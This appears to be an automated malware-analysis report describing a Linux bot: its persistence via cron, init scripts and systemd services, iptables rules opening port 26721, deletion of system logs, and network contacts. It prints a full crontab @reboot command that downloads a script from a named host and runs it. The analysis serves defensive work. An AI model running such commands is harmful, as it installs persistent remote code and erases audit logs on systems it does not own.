Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- /bin/bash
Manages services:
- ['/bin/systemctl', 'enable', 'bot']
Launches processes:
- chmod +x /bin/bins.sh
- /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- /bin/sh /bin/bins.sh
- iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- crontab -l
- (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
- /bin/systemctl enable bot
- /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
- crontab -
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.uXPfoF (deleted)
- /etc/init.d/job
Deletes folders:
- /var/log/syslog
- /null
- /var/spool/cron/crontabs/tmp.uXPfoF
- /root/.bashrc
- /var/log/daemon.log
- /tmp/clearsigned.message.uyHAXO
- /var/spool/cron/crontabs/root
- /tmp/clearsigned.message.0XvL16
- /tmp/clearsigned.message.mIPhCM
- /tmp/clearsigned.message.3vB2xX
- /tmp/clearsigned.message.c95oot
- /tmp/clearsigned.message.90enSz
- /var/log/btmp
- /var/log/kern.log.1.gz
- /var/log/auth.log.1.gz
- /var/log/debug.1.gz
- /var/log/messages.1.gz
- /var/log/kern.log
- /var/log/auth.log
- /var/log/debug
- /var/log/messages
Creates or modifies files:
- /self
- /proc/490/cmdline
- /dev/full
- /var/spool/cron/crontabs/tmp.uXPfoF
- /dev/null (deleted)
- /etc/init/bot.conf
- /root/.bashrc
- /usr/lib/systemd/system/bot.service
- /etc/systemd/system/job.service
Deletes files:
- /var/log/syslog
- /null
- /var/spool/cron/crontabs/tmp.uXPfoF
- /root/.bashrc
- /var/log/daemon.log
- /tmp/clearsigned.message.uyHAXO
- /var/spool/cron/crontabs/root
- /tmp/clearsigned.message.0XvL16
- /tmp/clearsigned.message.mIPhCM
- /tmp/clearsigned.message.3vB2xX
- /tmp/clearsigned.message.c95oot
- /tmp/clearsigned.message.90enSz
- /var/log/btmp
- /var/log/kern.log.1.gz
- /var/log/auth.log.1.gz
- /var/log/debug.1.gz
- /var/log/messages.1.gz
- /var/log/kern.log
- /var/log/auth.log
- /var/log/debug
- /var/log/messages
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:8345
- 0.0.0.0:26721
Establishes connection:
- 8.#.8.8:53
- 51.###.108.203:53
- 19#.###.175.43:35342
- 19#.##9.175.43:2222
DNS ASK:
- re###thltd.com
Sends data to the following servers:
- 19#.###.175.43:35342
Receives data from the following servers:
- 19#.###.175.43:35342